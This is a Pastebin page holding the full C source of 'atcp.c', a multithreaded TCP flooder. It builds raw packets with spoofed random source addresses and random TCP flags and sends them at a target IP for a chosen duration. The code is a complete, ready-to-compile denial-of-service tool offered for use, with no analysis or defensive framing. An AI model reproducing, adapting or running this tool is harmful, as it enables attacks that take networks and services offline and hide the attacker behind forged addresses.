toads

atcp.c - Advanced TCP Flooder

Jan 18th, 2016
92
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 6.22 KB | None | 0 0
  1. /*
  2.  * This is released under the GNU GPL License v3.0, and is allowed to be used for commercial products ;)
  3. atcp.c - Advanced TCP Flooder
  4.  */
  5. #include <unistd.h>
  6. #include <time.h>
  7. #include <sys/types.h>
  8. #include <sys/socket.h>
  9. #include <sys/ioctl.h>
  10. #include <string.h>
  11. #include <stdlib.h>
  12. #include <stdio.h>
  13. #include <pthread.h>
  14. #include <netinet/tcp.h>
  15. #include <netinet/ip.h>
  16. #include <netinet/in.h>
  17. #include <netinet/if_ether.h>
  18. #include <netdb.h>
  19. #include <net/if.h>
  20. #include <arpa/inet.h>
  21. #define MAX_PACKET_SIZE 4096
  22. #define PHI 0x9e3779b9
  23. static unsigned long int Q[4096], c = 362436;
  24. volatile int limiter;
  25. volatile unsigned int pps;
  26. volatile unsigned int sleeptime = 100;
  27.  
  28. void init_rand(unsigned long int x)
  29. {
  30.         int i;
  31.         Q[0] = x;
  32.         Q[1] = x + PHI;
  33.         Q[2] = x + PHI + PHI;
  34.         for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
  35. }
  36. unsigned long int rand_cmwc(void)
  37. {
  38.         unsigned long long int t, a = 18782LL;
  39.         static unsigned long int i = 4095;
  40.         unsigned long int x, r = 0xfffffffe;
  41.         i = (i + 1) & 4095;
  42.         t = a * Q[i] + c;
  43.         c = (t >> 32);
  44.         x = t + c;
  45.         if (x < c) {
  46.         x++;
  47.         c++;
  48.         }
  49.         return (Q[i] = r - x);
  50. }
  51. unsigned short csum (unsigned short *buf, int count)
  52. {
  53.         register unsigned long sum = 0;
  54.         while( count > 1 ) { sum += *buf++; count -= 2; }
  55.         if(count > 0) { sum += *(unsigned char *)buf; }
  56.         while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  57.         return (unsigned short)(~sum);
  58. }
  59.  
  60. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
  61.  
  62.         struct tcp_pseudo
  63.         {
  64.         unsigned long src_addr;
  65.         unsigned long dst_addr;
  66.         unsigned char zero;
  67.         unsigned char proto;
  68.         unsigned short length;
  69.         } pseudohead;
  70.         unsigned short total_len = iph->tot_len;
  71.         pseudohead.src_addr=iph->saddr;
  72.         pseudohead.dst_addr=iph->daddr;
  73.         pseudohead.zero=0;
  74.         pseudohead.proto=IPPROTO_TCP;
  75.         pseudohead.length=htons(sizeof(struct tcphdr));
  76.         int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  77.         unsigned short *tcp = malloc(totaltcp_len);
  78.         memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  79.         memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  80.         unsigned short output = csum(tcp,totaltcp_len);
  81.         free(tcp);
  82.         return output;
  83. }
  84. void setup_ip_header(struct iphdr *iph)
  85. {
  86.         iph->ihl = 5;
  87.         iph->version = 4;
  88.         iph->tos = 0;
  89.         iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
  90.         iph->id = htonl(54321);
  91.         iph->frag_off = 0;
  92.         iph->ttl = MAXTTL;
  93.         iph->protocol = 6;
  94.         iph->check = 0;
  95.         iph->saddr = inet_addr("192.168.3.100");
  96. }
  97. void setup_tcp_header(struct tcphdr *tcph)
  98. {
  99.         tcph->source = htons(5678);
  100.         tcph->seq = rand();
  101.         tcph->ack_seq = rand();
  102.         tcph->res2 = rand();
  103.         tcph->doff = 5;
  104.         tcph->syn = rand();
  105.         tcph->fin = rand();
  106.         tcph->psh = rand();
  107.         tcph->ack = rand();
  108.         tcph->urg = rand();
  109.         tcph->rst = rand();
  110.         tcph->window = rand();
  111.         tcph->check = rand();
  112.         tcph->urg_ptr = rand();
  113. }
  114.  
  115. void *flood(void *par1)
  116. {
  117.         char *td = (char *)par1;
  118.         char datagram[MAX_PACKET_SIZE];
  119.         struct iphdr *iph = (struct iphdr *)datagram;
  120.         struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  121.         struct sockaddr_in sin;
  122.         sin.sin_family = AF_INET;
  123.         sin.sin_port = rand();
  124.         sin.sin_addr.s_addr = inet_addr(td);
  125.         int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
  126.         if(s < 0){
  127.         fprintf(stderr, "Could not open raw socket.\n");
  128.         exit(-1);
  129.         }
  130.         memset(datagram, 0, MAX_PACKET_SIZE);
  131.         setup_ip_header(iph);
  132.         setup_tcp_header(tcph);
  133.         tcph->dest = rand();
  134.         iph->daddr = sin.sin_addr.s_addr;
  135.         iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  136.         int tmp = 1;
  137.         const int *val = &tmp;
  138.         if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
  139.         fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
  140.         exit(-1);
  141.         }
  142.  
  143.         init_rand(time(NULL));
  144.         register unsigned int i;
  145.         i = 0;
  146.         while(1){
  147.         sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
  148.         iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
  149.         iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
  150.         iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  151.         tcph->seq = rand_cmwc() & 0xFFFF;
  152.         tcph->source = htons(rand_cmwc() & 0xFFFF);
  153.         tcph->check = 0;
  154.         tcph->check = tcpcsum(iph, tcph);              
  155.         pps++;
  156.         if(i >= limiter)
  157.         {
  158.         i = 0;
  159.         usleep(sleeptime);
  160.         }
  161.         i++;
  162.         }
  163. }
  164. int main(int argc, char *argv[ ])
  165. {
  166.         if(argc < 5){
  167.         fprintf(stderr, "Invalid parameters!\n");
  168.         fprintf(stdout, "Usage: %s [IP] [threads] [limiter] [time]\n", argv[0]);
  169.         exit(-1);
  170.         }
  171.         fprintf(stdout, "Opening threads...\n");
  172.         int num_threads = atoi(argv[2]);
  173.         int maxpps = atoi(argv[3]);
  174.         limiter = 0;
  175.         pps = 0;
  176.         pthread_t thread[num_threads];
  177.         int multiplier = 100;
  178.         int i;
  179.         for(i = 0;i<num_threads;i++){
  180.         pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
  181.         }
  182.         fprintf(stdout, "Sending packets..\n");
  183.         for(i = 0;i<(atoi(argv[4])*multiplier);i++)
  184.         {
  185.         usleep((1000/multiplier)*1000);
  186.         if((pps*multiplier) > maxpps)
  187.         {
  188.         if(1 > limiter)
  189.         {
  190.         sleeptime+=100;
  191.         } else {
  192.         limiter--;
  193.         }
  194.         } else {
  195.         limiter++;
  196.         if(sleeptime > 25)
  197.         {
  198.         sleeptime-=25;
  199.         } else {
  200.         sleeptime = 0;
  201.         }
  202.         }
  203.         pps = 0;
  204.         }
  205.         return 0;
  206. }
Add Comment
Please, Sign In to add comment